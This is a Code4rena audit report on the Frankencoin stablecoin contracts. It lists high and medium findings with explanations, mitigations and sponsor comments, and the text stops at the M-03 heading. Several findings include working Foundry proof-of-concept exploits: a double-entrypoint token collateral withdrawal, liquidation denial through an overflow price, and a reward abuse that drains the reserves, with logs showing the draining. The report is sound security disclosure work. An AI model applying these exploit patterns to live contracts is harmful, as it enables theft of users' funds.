Frankencoin
Findings & Analysis Report
2023-06-09
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] Challenges can be frontrun with de-leveraging to cause lossses for challengers
- [H-02] Double-entrypoint collateral token allows position owner to withdraw underlying collateral without repaying ZCHF
- [H-03] When the challenge is successful, the user can send tokens to the position to avoid the position’s cooldown period being extended
- [H-04] Transfer position ownership to
addr(0)to DoSend()challenge - [H-05] Position owners can deny liquidations
- [H-06]
CHALLENGER_REWARDcan be used to drain reserves and free mint
-
- [M-01] Function
restructureCapTable()inEquity.solnot functioning as expected - [M-02] POSITION LIMIT COULD BE FULLY REDUCED TO ZERO BY CLONES
- [M-03] Manipulation of total share amount might cause future depositors to lose their assets
- [M-04]
anchorTime()will not work properly on Optimism due to use ofblock.number - [M-05] Owner of Denied Position is not able to withdraw collateral until expiry
- [M-06] Challengers and bidders can collude together to restrict the minting of position owner
- [M-07] Need alternative ways for fund transfer in
end()to prevent DoS - [M-08]
initializeClone()price calculation should round up - [M-09] Unable to adjust position in some cases
- [M-10] No slippage control when minting and redeeming FPS
- [M-11] Later challengers can bid on the previous challenge to extend the expiration time of the previous challenge, so that their own challenge can succeed before the previous challenge and get challenge rewards
- [M-12] Auctions fail to account for network and market conditions
- [M-13] Can’t pause or remove a minter
- [M-14] Re-org attack in factory
- [M-15]
notifyLosscan be frontrun by redeem
- [M-01] Function
-
Low Risk and Non-Critical Issues
- Low Issues
- L-01 Frontrunning suggestMinter may lead to stolen funds
- L-02 Not validating
MIN_APPLICATION_PERIODcan lead to stolen funds - L-03
MIN_HOLDING_DURATIONwill not hold a correct value if deployed on other network - L-04 Positions should be expired when
block.timestamp = expiration - L-05 No pause mechanism in case of depeg of XCHF token
- L-06 Tokens with very large decimals will not work as expected
- L-07 minBid can be bypassed to bid indefinitely for small amounts
- L-08 ERC-777 tokens can lead to re-entrancy vulnerabilities
- L-09 Challenges can be split after they end
- Non-Critical Issues
- N-01 No way to track challenges created by a user
- N-02 Equity tokens sent to oneself are processed to update votes
- N-03 Misleading comment about position
startvalue - N-04 Rebasing tokens can lead to bad accountability of the positions
-
- Notes
- G-01 IF’s/require() statements that check input arguments should be at the top of the function
- G-02 The result of a function call should be cached rather than re-calling the function
- G-03 Multiple accesses of a mapping/array should use a local variable cache
- G-04 Using unchecked blocks to save gas
- G-05
2**<n>should be re-written astype(uint<n>).max - G-06 Unnecessary casting as variable is already of the same type
- Note: The following have some caveats, we can reduce the deployment size and deployment cost at the expense of execution cost
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Frankencoin smart contract system written in Solidity. The audit took place between April 12—April 19 2023.
Wardens
219 Wardens contributed reports to the Frankencoin:
- 0x007
- 0x3b
- 0x73696d616f
- 0xAgro
- 0xBeirao
- 0xDACA
- 0xNorman
- 0xRB
- 0xSmartContract
- 0xStalin
- 0xTheC0der
- 0xWaitress
- 0xWeiss
- 0xbepresent
- 0xbrett8571
- 0xhacksmithh
- 0xkaju
- 0xmuxyz
- 0xnev
- 117l11
- 3dgeville
- 3th
- 4710710N
- 7siech
- 8olidity
- ADM
- Ace-30
- Arz
- Aymen0909
- BGSecurity (anonresercher and martin)
- BPZ (pa6221, Bitcoinfever244, and PrasadLak)
- BRONZEDISC
- Bauchibred
- Bauer
- BenRai
- BitsOrBytes
- Breeje
- ChainHunters (Zer0Luck, junan, hyeon, and nugurii0)
- ChrisTina
- CodeFoxInc (thurendous, TerrierLover, and retocrooman)
- DadeKuma
- DedOhWale
- Diana
- DishWasher
- EloiManuel
- Emmanuel
- Erko
- EvanW
- GreedyGoblin
- HaCk0
- Haipls
- Hama
- IceBear
- Inspex (Resistor, jokopoppo, DeStinE21, mimic_f, Rugsurely, ErbaZZ, and rxnnxchxi)
- J4de
- JCN
- JGcarv
- JcFichtner
- Jerry0x
- Jiamin
- John
- Jorgect
- Josiah
- Juntao
- KIntern_NA (TrungOre and duc)
- Kaysoft
- Kek
- Krace
- Kumpa
- Lalanda
- LegendFenGuin
- LeoGold
- LewisBroadhurst
- Lirios
- Madalad
- MiloTruck
- MohammedRizwan
- Mukund
- NoamYakov
- Norah
- Nyx
- PNS
- Polaris_tow
- Proxy
- Rageur
- Raihan
- RaymondFam
- RedTiger
- ReyAdmirado
- Ruhum
- SAAJ
- SaeedAlipoor01988
- SaharDevep
- SanketKogekar
- Sathish9098
- Satyam_Sharma
- SolidityATL (plasmablocks and wzrdk3lly)
- SpicyMeatball
- T1MOH
- ToonVH
- Tricko
- Udsen
- UniversalCrypto (amaechieth and tettehnetworks)
- V_B (Barichek and vlad_bochok)
- W0RR1O
- __141345__
- aashar
- ak1
- anodaram
- aria
- ayden
- berlin-101
- bin2chen
- boredpukar
- btk
- bughunter007
- c3phas
- carlitox477
- carrotsmuggler
- catellatech
- cccz
- circlelooper
- codeslide
- crc32
- cryptonue
- d3e4
- deadrxsezzz
- decade
- deliriusz
- descharre
- evmboi32
- eyexploit
- fatherOfBlocks
- foxb868
- georgits
- giovannidisiena
- hihen
- hunter_w3b
- jangle
- jasonxiale
- jayfromthe13th
- joestakey
- juancito
- karanctf
- kenta
- kodyvim
- ladboy233
- lil_eth
- ltyu
- lukino
- lukris02
- m9800
- mahdikarimi
- markus_ether
- marwen
- matrix_0wl
- mov
- mrpathfindr
- nadin
- naman1778
- niser93
- nobody2018
- p0wd3r
- parlayan_yildizlar_takimi (ulas and caglankaan)
- pavankv
- peakbolt
- peanuts
- petrichor
- pfapostol
- pipoca
- pontifex
- qpzm
- ravikiranweb3
- rbserver
- rvierdiiev
- ryanranran
- said
- santipu_
- sashik_eth
- sces60107
- sebghatullah
- shalaamum
- shealtielanz
- silviaxyz
- slvDev
- smaul0 (smaul and MBabattya)
- sorrynotsorry
- tallo
- tnevler
- trysam2003
- vakzz
- volodya
- wonjun
- xmxanuel
- yellowBirdy
- yixxas
- zaevlad
- zhuXKET
- zzebra83
This audit was judged by hansfriese.
Final report assembled by yadir.
Summary
The C4 analysis yielded an aggregated total of 21 unique vulnerabilities. Of these vulnerabilities, 6 received a risk rating in the category of HIGH severity and 15 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 137 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 43 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Frankencoin audit repository, and is composed of 10 smart contracts written in the Solidity programming language and includes 949 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (6)
[H-01] Challenges can be frontrun with de-leveraging to cause lossses for challengers
Submitted by carrotsmuggler, also found by mov, bin2chen, juancito, KIntern_NA, Ace-30, cccz, Nyx, nobody2018, and mahdikarimi
Challenges, once created, cannot be closed. Thus once a challenge is created, the challenger has already transferred in a collateral amount and is thus open for losing their collateral to a bidding war which will most likely close below market price, since otherwise buying from the market would be cheaper for bidders.
Position owners can take advantage of this fact and frontrun a launchChallenge transaction with an adjustPrice transaction. The adjustPrice function lets the user lower the price of the position, and can pass the collateral check by sending collateral tokens externally.
As a worst case scenario, consider a case where a position is open with 1 ETH collateral and 1500 ZCHF minted. A challenger challenges the position and the owner frontruns the challenger by sending the contract 1500 ZCHF and calling repay() and then calling adjustPrice with value 0, all in one transaction with a contract. Now, the price in the contract is set to 0, and the collateral check passes since the outstanding minted amount is 0. The challenger’s transaction gets included next, and they are now bidding away their collateral, since any amount of bid will pass the avert collateral check.
The position owner themselves can backrun the same transaction with a bid of 1 wei and take all the challenger’s collateral, since every bid checks for the tryAvertChallenge condition.
if (_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount)Since price is set to 0, any bid passes this check. This sandwich attack causes immense losses to all challengers in the system, baiting them with bad positions and then sandwiching their challenges.
Since sandwich attacks are extremely commonplace, this is classified as high severity.
Proof of Concept
The attack can be performed the following steps.
- Have an undercollateralized position. This can be caused naturally due to market movements.
- Frontrun challenger’s transaction with a repayment and
adjustPricecall lowering the price. - Challenger’s call gets included, where they now put up collateral for bids.
- Backrun challenger’s call with a bid such that it triggers the avert.
- Attacker just claimed the challenger’s collateral at their specified bid price, which can be as little as 1 wei if price is 0.
Recommended Mitigation Steps
When launching a challenge, ask for a expectedPrice argument. If the actual price does not match this expected price, that means that transaction was frontrun and should be reverted. This acts like a slippage check for challenges.
I have some doubts about severity, since the auction’s final bid is expected to be at about the worth of the collateral. So the challenger isn’t expected to lose anything but the challenge reward.
luziusmeisser (Frankencoin) confirmed and commented:
This is actually a high risk issue as the challenge is ended early as soon as the highest bid reaches the liquidation price.
I would even say that this is one of the most valuable findings I’ve seen so far!
The fix is to add front-running protection to the launchChallenge function:
function launchChallenge(address _positionAddr, uint256 _collateralAmount, uint256 expectedPrice) external validPos(_positionAddr) returns (uint256) { IPosition position = IPosition(_positionAddr); if (position.price() != expectedPrice) revert UnexpectedPrice();
Since the owner lowers the price of the position, the collateral for a challenge is worth nothing, and the challengers might lose their collateral. So I agree with the sponsor.
[H-02] Double-entrypoint collateral token allows position owner to withdraw underlying collateral without repaying ZCHF
Submitted by giovannidisiena, also found by bin2chen, tallo, and J4de
Position::withdraw is intended to allow the position owner to withdraw any ERC20 token which might have ended up at position address. If the collateral address is passed as argument then Position::withdrawCollateral is called to perform the necessary checks and balances. However, this can be bypassed if the collateral token is a double-entrypoint token.
Such tokens are problematic because the legacy token delegates its logic to the new token, meaning that two separate addresses are used to interact with the same token. Previous examples include TUSD which resulted in vulnerability when integrated into Compound. This highlights the importance of carefully selecting the collateral token, especially as this type of vulnerability is not easily detectable. In addition, it is not unrealistic to expect that an upgradeable collateral token could become a double-entrypoint token in the future, e.g. USDT, so this must also be considered.
This vector involves the position owner dusting the contract with the collateral token’s legacy counterpart which allows them to withdraw the full collateral balance by calling Position::withdraw passing the legacy address as token argument. This behaviour is flawed as the position owner should repay the ZCHF debt before withdrawing their underlying collateral.
Proof of Concept
Apply the following git diff:
diff --git a/.gitmodules b/.gitmodules
index 888d42d..e80ffd8 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,6 @@
[submodule "lib/forge-std"]
path = lib/forge-std
url = https://github.com/foundry-rs/forge-std
+[submodule "lib/openzeppelin-contracts"]
+ path = lib/openzeppelin-contracts
+ url = https://github.com/openzeppelin/openzeppelin-contracts
diff --git a/lib/openzeppelin-contracts b/lib/openzeppelin-contracts
new file mode 160000
index 0000000..0a25c19
--- /dev/null
+++ b/lib/openzeppelin-contracts
@@ -0,0 +1 @@
+Subproject commit 0a25c1940ca220686588c4af3ec526f725fe2582
diff --git a/test/DoubleEntryERC20.sol b/test/DoubleEntryERC20.sol
new file mode 100644
index 0000000..b871288
--- /dev/null
+++ b/test/DoubleEntryERC20.sol
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
+import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
+
+interface DelegateERC20 {
+ function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
+ function delegateBalanceOf(address account) external view returns (uint256);
+}
+
+contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
+ DelegateERC20 public delegate;
+
+ constructor() {
+ _mint(msg.sender, 100 ether);
+ }
+
+ function mint(address to, uint256 amount) public onlyOwner {
+ _mint(to, amount);
+ }
+
+ function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
+ delegate = newContract;
+ }
+
+ function transfer(address to, uint256 value) public override returns (bool) {
+ if (address(delegate) == address(0)) {
+ return super.transfer(to, value);
+ } else {
+ return delegate.delegateTransfer(to, value, msg.sender);
+ }
+ }
+
+ function balanceOf(address account) public view override returns (uint256) {
+ if (address(delegate) == address(0)) {
+ return super.balanceOf(account);
+ } else {
+ return delegate.delegateBalanceOf(account);
+ }
+ }
+}
+
+contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
+ address public delegatedFrom;
+
+ constructor(address legacyToken) {
+ delegatedFrom = legacyToken;
+ _mint(msg.sender, 100 ether);
+ }
+
+ modifier onlyDelegateFrom() {
+ require(msg.sender == delegatedFrom, "Not legacy contract");
+ _;
+ }
+
+ function mint(address to, uint256 amount) public onlyOwner {
+ _mint(to, amount);
+ }
+
+ function delegateTransfer(address to, uint256 value, address origSender)
+ public
+ override
+ onlyDelegateFrom
+ returns (bool)
+ {
+ _transfer(origSender, to, value);
+ return true;
+ }
+
+ function delegateBalanceOf(address account) public view override onlyDelegateFrom returns (uint256) {
+ return balanceOf(account);
+ }
+}
diff --git a/test/GeneralTest.t.sol b/test/GeneralTest.t.sol
index 402416d..9ce13cd 100644
--- a/test/GeneralTest.t.sol
+++ b/test/GeneralTest.t.sol
@@ -14,6 +14,7 @@ import "../contracts/MintingHub.sol";
import "../contracts/PositionFactory.sol";
import "../contracts/StablecoinBridge.sol";
import "forge-std/Test.sol";
+import {LegacyToken, DoubleEntryPoint} from "./DoubleEntryERC20.sol";
contract GeneralTest is Test {
@@ -24,6 +25,8 @@ contract GeneralTest is Test {
TestToken col;
IFrankencoin zchf;
+ LegacyToken legacy;
+ DoubleEntryPoint doubleEntry;
User alice;
User bob;
@@ -35,10 +38,41 @@ contract GeneralTest is Test {
hub = new MintingHub(address(zchf), address(new PositionFactory()));
zchf.suggestMinter(address(hub), 0, 0, "");
col = new TestToken("Some Collateral", "COL", uint8(0));
+ legacy = new LegacyToken();
+ doubleEntry = new DoubleEntryPoint(address(legacy));
alice = new User(zchf);
bob = new User(zchf);
}
+ function testPoCWithdrawDoubleEntrypoint() public {
+ alice.obtainFrankencoins(swap, 1000 ether);
+ emit log_named_uint("alice zchf balance before opening position", zchf.balanceOf(address(alice)));
+ uint256 initialAmount = 100 ether;
+ doubleEntry.mint(address(alice), initialAmount);
+ vm.startPrank(address(alice));
+ doubleEntry.approve(address(hub), initialAmount);
+ uint256 balanceBefore = zchf.balanceOf(address(alice));
+ address pos = hub.openPosition(address(doubleEntry), 100, initialAmount, 1000000 ether, 100 days, 1 days, 25000, 100 * (10 ** 36), 200000);
+ require((balanceBefore - hub.OPENING_FEE()) == zchf.balanceOf(address(alice)));
+ vm.warp(Position(pos).cooldown() + 1);
+ alice.mint(pos, initialAmount);
+ vm.stopPrank();
+ emit log_named_uint("alice zchf balance after opening position and minting", zchf.balanceOf(address(alice)));
+
+ uint256 legacyAmount = 1;
+ legacy.mint(address(alice), legacyAmount);
+ uint256 totalAmount = initialAmount + legacyAmount;
+ vm.prank(address(alice));
+ legacy.transfer(pos, legacyAmount);
+ legacy.delegateToNewContract(doubleEntry);
+
+ vm.prank(address(alice));
+ Position(pos).withdraw(address(legacy), address(alice), initialAmount);
+ emit log_named_uint("alice collateral balance after withdrawing collateral", doubleEntry.balanceOf(address(alice)));
+ emit log_named_uint("alice zchf balance after withdrawing collateral", zchf.balanceOf(address(alice)));
+ console.log("uh-oh, alice withdrew collateral without repaying zchf ://");
+ }
+
function initPosition() public returns (address) {
alice.obtainFrankencoins(swap, 1000 ether);
address pos = alice.initiatePosition(col, hub);Tools Used
- Manual review
- Foundry
Recommended Mitigation
- Validate the collateral balance has not changed after the token transfer within the call to
Position::withdraw. - Otherwise, consider restricting the use of
Position::withdrawor remove it altogether.
luziusmeisser (Frankencoin) confirmed and commented:
Excellent hint, thanks!
Great catch, reported with a reference URL and coded POC. Satisfactory report.
[H-03] When the challenge is successful, the user can send tokens to the position to avoid the position’s cooldown period being extended
Submitted by cccz, also found by mahdikarimi
When the challenge is successful, internalWithdrawCollateral will be called to transfer the collateral in the position. Note that the cooldown period of the position will be extended until the position expires only if the collateral in the position is less than minimumCollateral, if the user sends collateral to the position in advance, then the cool down period of the position will not be extended.
function internalWithdrawCollateral(address target, uint256 amount) internal returns (uint256) {
IERC20(collateral).transfer(target, amount);
uint256 balance = collateralBalance();
if (balance < minimumCollateral){
cooldown = expiration;
}
emitUpdate();
return balance;
}I will use the following example to illustrate the severity of the issue.
Consider WETH:ZCHF=2000:1, the position has a challenge period of 3 days and the minimum amount of collateral is 1 WETH.
- alice clones the position, offering 1 WETH to mint 0 zchf.
- alice adjusts the price to 10e8, the cooldown period is extended to 3 days later.
- bob offers 1 WETH to launch the challenge and charlie bids 1800 zchf.
- Since bob has already covered all collateral, other challengers are unprofitable and will not launch new challenges
- After 3 days, the cooldown period ends and the challenge expires.
- bob calls end() to end the challenge.
- alice observes bob’s transaction and uses MEV to send 1 WETH to the position in advance.
- bob’s transaction is executed, charlie gets the 1 WETH collateral in the position, and alice gets most of the bid.
- Since the position balance is still 1 WETH, the position cooldown period does not extend to the position expiration.
10.Since the position is not cooldown and there is no challenge at this point, alice uses that price to mint 10e8 zchf.
Proof of Concept
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L268-L276
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L354
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276
Recommended Mitigation Steps
Consider extending the cooldown period of the position even if the challenge is successful
luziusmeisser (Frankencoin) commented:
Excellent finding! Will implement 1 day cooldown on successful challenges.
[H-04] Transfer position ownership to addr(0) to DoS end() challenge
Submitted by __141345__
If some challenge is about to succeed, the position owner will lose the collateral. Seeing the unavoidable loss, the owner can transfer the position ownership to addr(0), fail the end() call of the challenge. At the end, the DoS in end() will have these impacts:
- the successful bidder will lose bid fund.
- the challenger’s collateral will be locked, and lose the challenge reward.
Proof of Concept
Assuming, the position has minimumCollateral of 600 zchf, the position owner minted 1,000 zchf against some collateral worth of 1,100 zchf, the highest bid for the collateral was 1,060 zchf, the challenge reward being 50. Then in Position.sol#notifyChallengeSucceeded(), the repayment will be 1,000, but effectiveBid worth of 1,060. The fundNeeded will be 1,000 + 50 = 1,050, and results in excess of 1,060 - 1,050 = 10 to refund the position owner in line 268 MintingHub.sol. In addition, due to the minimumCollateral limit, this challenge cannot be split into smaller ones.
File: contracts/MintingHub.sol
252: function end(uint256 _challengeNumber, bool postponeCollateralReturn) public {
260: (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
261: if (effectiveBid < challenge.bid) {
262: // overbid, return excess amount
263: IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid);
264: }
265: uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;
266: uint256 fundsNeeded = reward + repayment;
267: if (effectiveBid > fundsNeeded){
268: zchf.transfer(owner, effectiveBid - fundsNeeded);
File: contracts/Position.sol
329: function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) {
349: uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things even
350:
351: notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment
352: internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update
353: return (owner, _bid, volumeZCHF, repayment, reserveContribution);
354: }From the position owner’s point of view, the position is on auction and has incurred loss already, only 10 zchf refund left. The owner can give up the tiny amount, and transfer the ownership to addr(0) to DoS the end() call.
When the position owner is addr(0), the transfer in line 268 MintingHub.sol will revert, due to the requirement in zchf (inherited from ERC20.sol):
File: contracts/ERC20.sol
151: function _transfer(address sender, address recipient, uint256 amount) internal virtual {
152: require(recipient != address(0));Now the successful bidder can no longer call end(). The bid fund will be lost. Also the challenger will lose the collateral because the return call encounter DoS too.
Recommended Mitigation Steps
Disallow transferring position ownership to addr(0)
The need to prevent transferring to the zero address is already mentioned in the automated findings and was reported by
#935, however the impact demonstrated in this report is much more severe than the low severity impact identified by other reports and therefore I believe it should be a separate finding.
luziusmeisser (Frankencoin) confirmed
[H-05] Position owners can deny liquidations
Submitted by JGcarv
Lines of code
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L307
Impact
The owner of a vulnerable position can deny being liquidated by setting the price to be type(uint256).max, making every call to tryAvertChallenge fail due to an overflow.
This means that if it’s advantageous enough the owner can choose to keep zchf and leave the collateral stuck. This could happen in any scenario where a collateral is likely to loose it’s value, for example, de-pegs, runs on the bank, etc.
Test Proof
Here’s a snippet that can be pasted on GeneralTest.t.sol:
function test_liquidationDenial() public {
test01Equity(); // ensure there is some equity to burn
address posAddress = initPosition();
Position pos = Position(posAddress);
skip(15 * 86_400 + 60);
alice.mint(address(pos), 1001);
vm.prank(address(alice));
pos.adjustPrice(type(uint256).max);
col.mint(address(bob), 1001);
uint256 first = bob.challenge(hub, posAddress, 1001);
bob.obtainFrankencoins(swap, 55_000 ether);
vm.expectRevert();
bob.bid(hub, first, 10_000 ether);
skip(7 * 86_400 + 60);
vm.expectRevert();
hub.end(first, false);
}I think the real issue here is that you can’t end the challenge (as shown in the last line of the PoC), that will cause a loss of funds for challenger and disincentivize users from challenging the position.
luziusmeisser (Frankencoin) confirmed and commented:
Ouch, this is a good one.
Great finding with coded POC. As the presort mentioned, the impact is the same as
#670, but this has a different exploit path. Satisfactory.
[H-06] CHALLENGER_REWARD can be used to drain reserves and free mint
Submitted by Lirios, also found by shalaamum, juancito, 0xDACA, Kumpa, __141345__, __141345__, bin2chen, cccz, said, tallo, juancito, Emmanuel, BenRai, jangle, T1MOH, bughunter007, juancito, cccz, nobody2018, SpicyMeatball, 117l11, 117l11, ChrisTina, and vakzz
The goal of the auction mechanism is to determine the fair price of the collateral, so that Frankencoin (ZCHF) is always sufficiently backed and the system remains in balance.
If the challenge is successful, the bidder gets the collateral from the position and the position is closed, distributing excess proceeds to the reserve and paying a reward to the challenger.
The reward for the challenger is based on the user provided price and can be abused to have the protocol pay unlimited rewards.
Proof of Concept
When a challenge ends without being Averted, the end() function can be called to process the liquidation.
This process pays back the minted ZCHF tokens with the bid and sends the collateral to the bidder. The challenger receives back the collateral he supplied when starting the challenge, and receives a CHALLENGER_REWARD of 2% of the challenged collateral value in ZCHF.
To calculate the value of the reward, it uses
uint256 reward = (volume * CHALLENGERREWARD) / 1000\000; with volume being the volumeZCHF value returned from Position.notifyChallengeSucceeded()
This is calculated as
uint256 volumeZCHF = _mulD18(price, _size);
// How much could have minted with the challenged amount of the collateral
meaning that if the price is very high, the theoretical volumeZCHF will be very high too.
When there are insufficient funds in the Position to pay for the reward, FrankenCoin.notifyLoss() is used to get the funds from the reserve and mint new coins.
The price of a Position can be set when it is created, or later by the owner via an adjustPrice call.
The steps to take:
- Position owner mints the maximum ZCHF.
- Position owner adjusts price and sets it to a very large value.
- Owner immediately starts a challenge via MintingHub
When price is very high, if there are bids, they will never pass the AvertChallenge check of
_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmountso the Challenge will always succeed. - After the challenge period, the end() function can be called, and Challenger will receive a high amount of ZCHF as a fee.
An alternative and faster way is to create a new position and immediately challenge it.
When creating a Position, _challengeSeconds can be set to 0 and calling launchChallenge is possible before Position start waiting time is over. This makes it possible for any user to drain all reserves and mint a large number of ZCHF in 1 transaction.
POC Script
A proof of concept testscript is created to demonstrate the vulnerability.
This code was added to GeneralTest.t.sol
function showBalances() public {
address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBadB01;
console.log('================ Balances ================');
console.log('hacker xchf :',xchf.balanceOf(hacker)/1e18);
console.log('hacker zchf :',zchf.balanceOf(hacker)/1e18);
console.log('reserver zchf :',zchf.balanceOf(address(zchf.reserve()))/1e18);
console.log('zchf.totalSupply:',zchf.totalSupply()/1e18);
console.log(' ');
}
function test10AbuseChallengeReward() public {
test04Mint(); // let bob/alice open position so not all is empty
// init, start wit 2 xchf and 1000 zhf
address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBadB01;
TestToken xchf_ = TestToken(address(swap.chf()));
xchf_.mint(address(hacker), 1002 ether);
vm.startPrank(hacker);
xchf_.approve(address(swap), 1000 ether);
swap.mint(1000 ether);
showBalances();
// open a position with fake inflated price and dummy collateral.
// _challengeSeconds to 0 so we can immediately challenge and end
xchf_.approve(address(hub), 1 ether); // collateral
zchf.approve(address(hub), 1000 ether); // 1000 OPENING_FEE
address myPosition = hub.openPosition(
address(xchf_), // _collateralAddress,
1 ether, // _minCollateral
1 ether, // _initialCollateral
1000 ether, // _mintingMaximum
3 days, // _initPeriodSeconds minimum perios
10 days, // _expirationSeconds
0, // _challengeSeconds set to 0 to immediately challenge and end
0, //_mintingFeePPM,
type(uint256).max / 1e20, // _liqPrice - huge inflated price
0 // _reservePPM
);
console.log('Creates our Position with inflated price, 1000 opening fee to reserves 1 xchf as collateral');
showBalances();
console.log('Start launchChallenge and immediately end the auction.');
console.log('We will receive the 1 xchf collateral back');
console.log('and 2% of inflated collateral price in zchf as CHALLENGER_REWARD');
console.log('zchf is first taken all from reserve, and rest minted');
xchf_.approve(address(hub), 1 ether); // collateral
uint256 challengeID = hub.launchChallenge(myPosition, 1 ether);
hub.end(challengeID);
showBalances();
vm.stopPrank();
}The results of the test
[PASS] test10AbuseChallengeReward() (gas: 3939346)
Logs:
================ Balances ================
hacker xchf : 2
hacker zchf : 1000
reserver zchf : 23500
zchf.totalSupply: 102000
We have creates our Position with inflated price
================ Balances ================
hacker xchf : 1
hacker zchf : 0
reserver zchf : 24500
zchf.totalSupply: 102000
Start launchChallenge and immediately end the auction.
We will receive the 1 xchf collateral back
and 2% of inflated collateral price in zchf as CHALLENGER_REWARD
zchf is first taken all from reserve, and rest minted
================ Balances ================
hacker xchf : 2
hacker zchf : 23158417847463239084714197001737581570
reserver zchf : 0
zchf.totalSupply: 23158417847463239084714197001737659070Tools Used
Manual review, forge
Recommended Mitigation Steps
It would be recommeded to restrict the moments when challenges can be started so Positions cannot be challenged before start time and when they are denied. This will make challenges only possible when a position once was valid, with a valid price.
To prevent owners to change the price of their Position to an extremenly large value, it can be limited to change the price max x% per adjustment.
luziusmeisser (Frankencoin) confirmed and commented:
This is probably the most important issue revealed during the audit. The warden deserves a big reward for this!
Medium Risk Findings (15)
[M-01] Function restructureCapTable() in Equity.sol not functioning as expected
Submitted by decade, also found by MiloTruck, EloiManuel, juancito, lukino, joestakey, ak1, 0xkaju, karanctf, silviaxyz, Aymen0909, rbserver, giovannidisiena, Arz, Udsen, marwen, 0xDACA, carrotsmuggler, Satyam_Sharma, Jerry0x, zhuXKET, BPZ, kenta, zzebra83, Kek, Lalanda, bin2chen, PNS, lil_eth, Mukund, peakbolt, circlelooper, Jiamin, John, parlayan_yildizlar_takimi, cccz, rvierdiiev, Tricko, Juntao, ladboy233, anodaram, jasonxiale, nobody2018, Ruhum, markus_ether, 0x3b, 0xWeiss, HaCk0, J4de, kodyvim, volodya, deadrxsezzz, ToonVH, RedTiger, mrpathfindr, ravikiranweb3, and 0xWaitress
Incorrect typo in function restructureCapTable() leading to only burning tokens of first address of addressToWipe array argument.
Proof of Concept
Here, in L313, addressToWipe[0] only takes first address of the array. While ignoring the rest and also since first address’s tokens are burned it will fail addressesToWipe array has more than one addresses.
function restructureCapTable(address[] calldata helpers, address[] calldata addressesToWipe) public {
require(zchf.equity() < MINIMUM_EQUITY);
checkQualified(msg.sender, helpers);
for (uint256 i = 0; i<addressesToWipe.length; i++){
address current = addressesToWipe[0];
_burn(current, balanceOf(current));
}
}Recommended Mitigation Steps
Change address current = addressesToWipe[0]; ==> address current = addressesToWipe[i];
luziusmeisser (Frankencoin) confirmed
[M-02] POSITION LIMIT COULD BE FULLY REDUCED TO ZERO BY CLONES
Submitted by Josiah, also found by rbserver, 0xDACA, Kumpa, Emmanuel, Diana, __141345__, bin2chen, lil_eth, carlitox477, Ruhum, Nyx, nobody2018, nobody2018, and RaymondFam
Lines of code
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L126
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L97-L101
Impact
A newly opened position could have its limit fully reduced to zero as soon as the cooldown period has elapsed.
Proof of Concept
As seen in the function below, a newly opened position with 0 Frankencoin minted could have its limit turn 0 if the function parameter, _minimum, is inputted with an amount equal to limit. In this case, reduction is equal to 0, making limit - _minimum = 0 while the cloner is assigned reduction + _minimum = 0 + limit = limit:
function reduceLimitForClone(uint256 _minimum) external noChallenge noCooldown alive onlyHub returns (uint256) {
uint256 reduction = (limit - minted - _minimum)/2; // this will fail with an underflow if minimum is too high
limit -= reduction + _minimum;
return reduction + _minimum;
}With the limit now fully allocated to the cloner, the original position owner is left with zero limit to mint Frankencoin after spending 1000 Frankencoin to open this position. This situation could readily happen especially when it involves popular position contracts.
Recommended Mitigation Steps
It is recommended position contract charging fees to cloners. Additionally, a reserve limit should be left untouched allocated solely to the original owner to be in line with the context of position opening.
Setting this one as primary since it shows how a single clone can reduce the remaining limit to zero.
luziusmeisser (Frankencoin) acknowledged and commented:
Charging clones a fee payable to the original is an interesting idea!
If the position comes with a high enough fee, this should not be relevant in practice as the limit will not be reached or new positions being created if there is enough demand.
[M-03] Manipulation of total share amount might cause future depositors to lose their assets
